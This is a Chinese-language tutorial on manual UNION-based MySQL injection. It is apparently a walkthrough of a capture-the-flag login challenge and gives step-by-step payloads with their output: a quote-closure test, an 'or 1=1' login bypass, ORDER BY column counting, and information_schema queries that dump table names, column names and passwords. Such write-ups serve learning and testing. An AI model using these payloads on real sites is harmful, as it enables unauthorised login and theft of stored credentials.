MySQL手注之联合注入详解
一、问题(sql注入)的产生:
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
- SQL注入原理:对用户输入过滤不严谨
- SQL注入本质:违背了数据与代码分离的原则
二、基本的mysql数据库结构(有information表的)
为什么SQL注入看如下几个方面0.0
information_schema数据库
information_schema.tables 表 下的列table_name存放着表名信息
information_schema.columns表下的列column_name存放着列名信息
information_schema.schemata表下的列schema_name存放着数据库名信息
table_schema 数据库名
table_name 表名
column_name 列名
三、union联合查询要执行后面的语句要前面语句查不到
- 参数类型 - 是否用闭合‘ “
- 数据库类型 - 数据库的语法(注入方式的不同)
- 数据提交方式 - 数据的注入传输不同 提交和接受方式不同
- 数据SQL查询方式 - 功能 1.无回显 2.测试点不一样 3.人工发现 工具一般发现不了
- 数据是否加密编码等 - 注入payload必须也相同形式发送
- 数据是否存在回显等注入权限是否高权限 - 权限不同操作不同(换一种方式获取网站权限)
四、注入详细步骤:
以下内容都是填在框中的,这里这么写只是为了方便表述。当然的,将#改成%23也行。
1.判断闭合方式:
username=1&password=123 //显示 NO,Wrong username password!!!
username=1'&password=123 //报错
username=1'#&password=123 //显示 NO,Wrong username password!!!
username=1' or 1=1#&password=123 //显示 Login Success!Hello admin!Your password is 'xxx'
2.开始尝试order by猜字段数
username=1' order by 4#&password=123 //显示 Unknown column '4' in 'order clause'
username=1' order by 3#&password=123 //显示 NO,Wrong username password,说明有3个字段
3.爆库
username=-1' union select 1,2,3#&password=123 //显示 Hello 2!Your password is '3',这里表明有2,3两个回显位
username=-1' union select 1,database(),3#&password=123 //得到库名“geek”
4.爆表
username=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#&password=123 //得到表名“geekuser,l0ve1ysq1”
5.爆列
username=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#&password=123 //得到列名“id,username,password”
6.爆字段
username=-1' union select 1,group_concat(password),3 from l0ve1ysq1#&password=123 //得到flag